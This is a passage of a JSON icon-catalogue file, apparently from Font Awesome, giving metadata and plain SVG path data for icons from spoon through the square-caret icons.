        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208.5 62.3l28.1-36.9C248.8 9.4 267.8 0 288 0c28.5 0 53.6 18.7 61.8 46l17.8 59.4c10.3 34.4 36.1 62 69.8 74.6l39.8 14.9c20.9 7.9 34.8 27.9 34.8 50.2c0 16.9-7.9 32.8-21.5 42.9l-67.3 50.5c-24.3 18.2-37.2 47.9-33.8 78.1l2.5 22.7c4.3 38.7-26 72.6-65 72.6c-14.8 0-29.3-5.1-40.8-14.3l-55.4-44.3c-4.5-3.6-9.3-6.7-14.5-9.2c-15.8-7.9-33.7-10.4-51-7.3L82.4 451.9C47.8 458.2 16 431.6 16 396.5c0-13.2 4.7-26 13.1-36.2l11.2-13.4c14.6-17.4 22.6-39.4 22.6-62.1c0-18.8-5.5-37.2-15.8-53L8.8 173.5C3.1 164.7 0 154.4 0 143.9c0-33.4 30.1-58.8 63-53.2l51.3 8.7c35.9 6.1 72.2-8.2 94.2-37.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208.5 62.3l28.1-36.9C248.8 9.4 267.8 0 288 0c28.5 0 53.6 18.7 61.8 46l17.8 59.4c10.3 34.4 36.1 62 69.8 74.6l39.8 14.9c20.9 7.9 34.8 27.9 34.8 50.2c0 16.9-7.9 32.8-21.5 42.9l-67.3 50.5c-24.3 18.2-37.2 47.9-33.8 78.1l2.5 22.7c4.3 38.7-26 72.6-65 72.6c-14.8 0-29.3-5.1-40.8-14.3l-55.4-44.3c-4.5-3.6-9.3-6.7-14.5-9.2c-15.8-7.9-33.7-10.4-51-7.3L82.4 451.9C47.8 458.2 16 431.6 16 396.5c0-13.2 4.7-26 13.1-36.2l11.2-13.4c14.6-17.4 22.6-39.4 22.6-62.1c0-18.8-5.5-37.2-15.8-53L8.8 173.5C3.1 164.7 0 154.4 0 143.9c0-33.4 30.1-58.8 63-53.2l51.3 8.7c35.9 6.1 72.2-8.2 94.2-37.1z"
      }
    },
    "free": ["solid"]
  },
  "spoon": {
    "aliases": {
      "names": ["utensil-spoon"],
      "unicodes": {
        "composite": ["1f944", "f1b1"],
        "secondary": ["10f2e5"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cutlery",
        "dining",
        "scoop",
        "silverware",
        "spoon",
        "tableware"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2e5",
    "label": "Spoon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M245.8 220.9c-14.5-17.6-21.8-39.2-21.8-60.8C224 80 320 0 416 0c53 0 96 43 96 96c0 96-80 192-160.2 192c-21.6 0-43.2-7.3-60.8-21.8L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L245.8 220.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M245.8 220.9c-14.5-17.6-21.8-39.2-21.8-60.8C224 80 320 0 416 0c53 0 96 43 96 96c0 96-80 192-160.2 192c-21.6 0-43.2-7.3-60.8-21.8L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L245.8 220.9z"
      }
    },
    "free": ["solid"]
  },
  "spotify": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1bc",
    "label": "Spotify",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z"
      }
    },
    "free": ["brands"]
  },
  "spray-can": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5bd"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Paint", "aerosol", "design", "graffiti", "tag"]
    },
    "styles": ["solid"],
    "unicode": "f5bd",
    "label": "Spray Can",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 0h64c17.7 0 32 14.3 32 32v96H96V32c0-17.7 14.3-32 32-32zM0 256c0-53 43-96 96-96H224c53 0 96 43 96 96V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V256zm240 80A80 80 0 1 0 80 336a80 80 0 1 0 160 0zM256 64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM384 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM448 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM384 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 0h64c17.7 0 32 14.3 32 32v96H96V32c0-17.7 14.3-32 32-32zM0 256c0-53 43-96 96-96H224c53 0 96 43 96 96V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V256zm240 80A80 80 0 1 0 80 336a80 80 0 1 0 160 0zM256 64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM384 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM448 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM384 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "spray-can-sparkles": {
    "aliases": {
      "names": ["air-freshener"],
      "unicodes": {
        "secondary": ["10f5d0"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["car", "clean", "deodorize", "fresh", "pine", "scent"]
    },
    "styles": ["solid"],
    "unicode": "f5d0",
    "label": "Spray Can Sparkles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 32v96H224V32c0-17.7-14.3-32-32-32H128C110.3 0 96 14.3 96 32zm0 128c-53 0-96 43-96 96V464c0 26.5 21.5 48 48 48H272c26.5 0 48-21.5 48-48V256c0-53-43-96-96-96H96zm64 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160zM384 48c0-1.4-1-3-2.2-3.6L352 32 339.6 2.2C339 1 337.4 0 336 0s-3 1-3.6 2.2L320 32 290.2 44.4C289 45 288 46.6 288 48c0 1.4 1 3 2.2 3.6L320 64l12.4 29.8C333 95 334.6 96 336 96s3-1 3.6-2.2L352 64l29.8-12.4C383 51 384 49.4 384 48zm76.4 45.8C461 95 462.6 96 464 96s3-1 3.6-2.2L480 64l29.8-12.4C511 51 512 49.4 512 48c0-1.4-1-3-2.2-3.6L480 32 467.6 2.2C467 1 465.4 0 464 0s-3 1-3.6 2.2L448 32 418.2 44.4C417 45 416 46.6 416 48c0 1.4 1 3 2.2 3.6L448 64l12.4 29.8zm7.2 100.4c-.6-1.2-2.2-2.2-3.6-2.2s-3 1-3.6 2.2L448 224l-29.8 12.4c-1.2 .6-2.2 2.2-2.2 3.6c0 1.4 1 3 2.2 3.6L448 256l12.4 29.8c.6 1.2 2.2 2.2 3.6 2.2s3-1 3.6-2.2L480 256l29.8-12.4c1.2-.6 2.2-2.2 2.2-3.6c0-1.4-1-3-2.2-3.6L480 224l-12.4-29.8zM448 144c0-1.4-1-3-2.2-3.6L416 128 403.6 98.2C403 97 401.4 96 400 96s-3 1-3.6 2.2L384 128l-29.8 12.4c-1.2 .6-2.2 2.2-2.2 3.6c0 1.4 1 3 2.2 3.6L384 160l12.4 29.8c.6 1.2 2.2 2.2 3.6 2.2s3-1 3.6-2.2L416 160l29.8-12.4c1.2-.6 2.2-2.2 2.2-3.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 32v96H224V32c0-17.7-14.3-32-32-32H128C110.3 0 96 14.3 96 32zm0 128c-53 0-96 43-96 96V464c0 26.5 21.5 48 48 48H272c26.5 0 48-21.5 48-48V256c0-53-43-96-96-96H96zm64 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160zM384 48c0-1.4-1-3-2.2-3.6L352 32 339.6 2.2C339 1 337.4 0 336 0s-3 1-3.6 2.2L320 32 290.2 44.4C289 45 288 46.6 288 48c0 1.4 1 3 2.2 3.6L320 64l12.4 29.8C333 95 334.6 96 336 96s3-1 3.6-2.2L352 64l29.8-12.4C383 51 384 49.4 384 48zm76.4 45.8C461 95 462.6 96 464 96s3-1 3.6-2.2L480 64l29.8-12.4C511 51 512 49.4 512 48c0-1.4-1-3-2.2-3.6L480 32 467.6 2.2C467 1 465.4 0 464 0s-3 1-3.6 2.2L448 32 418.2 44.4C417 45 416 46.6 416 48c0 1.4 1 3 2.2 3.6L448 64l12.4 29.8zm7.2 100.4c-.6-1.2-2.2-2.2-3.6-2.2s-3 1-3.6 2.2L448 224l-29.8 12.4c-1.2 .6-2.2 2.2-2.2 3.6c0 1.4 1 3 2.2 3.6L448 256l12.4 29.8c.6 1.2 2.2 2.2 3.6 2.2s3-1 3.6-2.2L480 256l29.8-12.4c1.2-.6 2.2-2.2 2.2-3.6c0-1.4-1-3-2.2-3.6L480 224l-12.4-29.8zM448 144c0-1.4-1-3-2.2-3.6L416 128 403.6 98.2C403 97 401.4 96 400 96s-3 1-3.6 2.2L384 128l-29.8 12.4c-1.2 .6-2.2 2.2-2.2 3.6c0 1.4 1 3 2.2 3.6L384 160l12.4 29.8c.6 1.2 2.2 2.2 3.6 2.2s3-1 3.6-2.2L416 160l29.8-12.4c1.2-.6 2.2-2.2 2.2-3.6z"
      }
    },
    "free": ["solid"]
  },
  "square": {
    "aliases": {
      "unicodes": {
        "composite": ["25a0", "25fb", "25fc", "f096"],
        "secondary": ["10f0c8"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Square",
        "black medium square",
        "block",
        "box",
        "geometric",
        "shape",
        "square",
        "white medium square"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0c8",
    "label": "Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H384zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H384zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-arrow-up-right": {
    "aliases": {
      "names": ["external-link-square"],
      "unicodes": {
        "secondary": ["10f14c"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["diagonal", "new", "open", "send", "share"]
    },
    "styles": ["solid"],
    "unicode": "f14c",
    "label": "Square Arrow Up Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z"
      }
    },
    "free": ["solid"]
  },
  "square-behance": {
    "aliases": {
      "names": ["behance-square"]
    },
    "changes": ["4.1.0", "5.0.0", "5.0.3", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1b5",
    "label": "Behance Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z"
      }
    },
    "free": ["brands"]
  },
  "square-caret-down": {
    "aliases": {
      "names": ["caret-square-down"],
      "unicodes": {
        "secondary": ["10f150"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "caret-square-o-down",
        "dropdown",
        "expand",
        "menu",
        "more",
        "triangle"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f150",
    "label": "Square Caret Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 480c35.3 0 64-28.7 64-64l0-320c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0zM224 352c-6.7 0-13-2.8-17.6-7.7l-104-112c-6.5-7-8.2-17.2-4.4-25.9s12.5-14.4 22-14.4l208 0c9.5 0 18.2 5.7 22 14.4s2.1 18.9-4.4 25.9l-104 112c-4.5 4.9-10.9 7.7-17.6 7.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 480c35.3 0 64-28.7 64-64l0-320c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0zM224 352c-6.7 0-13-2.8-17.6-7.7l-104-112c-6.5-7-8.2-17.2-4.4-25.9s12.5-14.4 22-14.4l208 0c9.5 0 18.2 5.7 22 14.4s2.1 18.9-4.4 25.9l-104 112c-4.5 4.9-10.9 7.7-17.6 7.7z"
      },
      "regular": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 432c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0zm64-16c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320zM224 352c-6.7 0-13-2.8-17.6-7.7l-104-112c-6.5-7-8.2-17.2-4.4-25.9s12.5-14.4 22-14.4l208 0c9.5 0 18.2 5.7 22 14.4s2.1 18.9-4.4 25.9l-104 112c-4.5 4.9-10.9 7.7-17.6 7.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 432c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0zm64-16c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320zM224 352c-6.7 0-13-2.8-17.6-7.7l-104-112c-6.5-7-8.2-17.2-4.4-25.9s12.5-14.4 22-14.4l208 0c9.5 0 18.2 5.7 22 14.4s2.1 18.9-4.4 25.9l-104 112c-4.5 4.9-10.9 7.7-17.6 7.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-caret-left": {
    "aliases": {
      "names": ["caret-square-left"],
      "unicodes": {
        "secondary": ["10f191"]
      }
    },
    "changes": ["4.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "back", "caret-square-o-left", "previous", "triangle"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f191",
    "label": "Square Caret Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416zM128 256c0-6.7 2.8-13 7.7-17.6l112-104c7-6.5 17.2-8.2 25.9-4.4s14.4 12.5 14.4 22l0 208c0 9.5-5.7 18.2-14.4 22s-18.9 2.1-25.9-4.4l-112-104c-4.9-4.5-7.7-10.9-7.7-17.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416zM128 256c0-6.7 2.8-13 7.7-17.6l112-104c7-6.5 17.2-8.2 25.9-4.4s14.4 12.5 14.4 22l0 208c0 9.5-5.7 18.2-14.4 22s-18.9 2.1-25.9-4.4l-112-104c-4.9-4.5-7.7-10.9-7.7-17.6z"
      },
      "regular": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 416c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320zm16 64c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480zm64-224c0-6.7 2.8-13 7.7-17.6l112-104c7-6.5 17.2-8.2 25.9-4.4s14.4 12.5 14.4 22l0 208c0 9.5-5.7 18.2-14.4 22s-18.9 2.1-25.9-4.4l-112-104c-4.9-4.5-7.7-10.9-7.7-17.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 416c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320zm16 64c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480zm64-224c0-6.7 2.8-13 7.7-17.6l112-104c7-6.5 17.2-8.2 25.9-4.4s14.4 12.5 14.4 22l0 208c0 9.5-5.7 18.2-14.4 22s-18.9 2.1-25.9-4.4l-112-104c-4.9-4.5-7.7-10.9-7.7-17.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-caret-right": {
    "aliases": {
      "names": ["caret-square-right"],
      "unicodes": {
        "secondary": ["10f152"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "caret-square-o-right", "forward", "next", "triangle"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f152",
    "label": "Square Caret Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 96c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320zM320 256c0 6.7-2.8 13-7.7 17.6l-112 104c-7 6.5-17.2 8.2-25.9 4.4s-14.4-12.5-14.4-22l0-208c0-9.5 5.7-18.2 14.4-22s18.9-2.1 25.9 4.4l112 104c4.9 4.5 7.7 10.9 7.7 17.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 96c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320zM320 256c0 6.7-2.8 13-7.7 17.6l-112 104c-7 6.5-17.2 8.2-25.9 4.4s-14.4-12.5-14.4-22l0-208c0-9.5 5.7-18.2 14.4-22s18.9-2.1 25.9 4.4l112 104c4.9 4.5 7.7 10.9 7.7 17.6z"
      },
      "regular": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 96c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320zM384 32c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0zM320 256c0 6.7-2.8 13-7.7 17.6l-112 104c-7 6.5-17.2 8.2-25.9 4.4s-14.4-12.5-14.4-22l0-208c0-9.5 5.7-18.2 14.4-22s18.9-2.1 25.9 4.4l112 104c4.9 4.5 7.7 10.9 7.7 17.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 96c0-8.8-7.2-16-16-16L64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320zM384 32c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l320 0zM320 256c0 6.7-2.8 13-7.7 17.6l-112 104c-7 6.5-17.2 8.2-25.9 4.4s-14.4-12.5-14.4-22l0-208c0-9.5 5.7-18.2 14.4-22s18.9-2.1 25.9 4.4l112 104c4.9 4.5 7.7 10.9 7.7 17.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-caret-up": {
    "aliases": {
      "names": ["caret-square-up"],
      "unicodes": {
        "secondary": ["10f151"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "caret-square-o-up", "collapse", "triangle", "upload"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f151",
    "label": "Square Caret Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
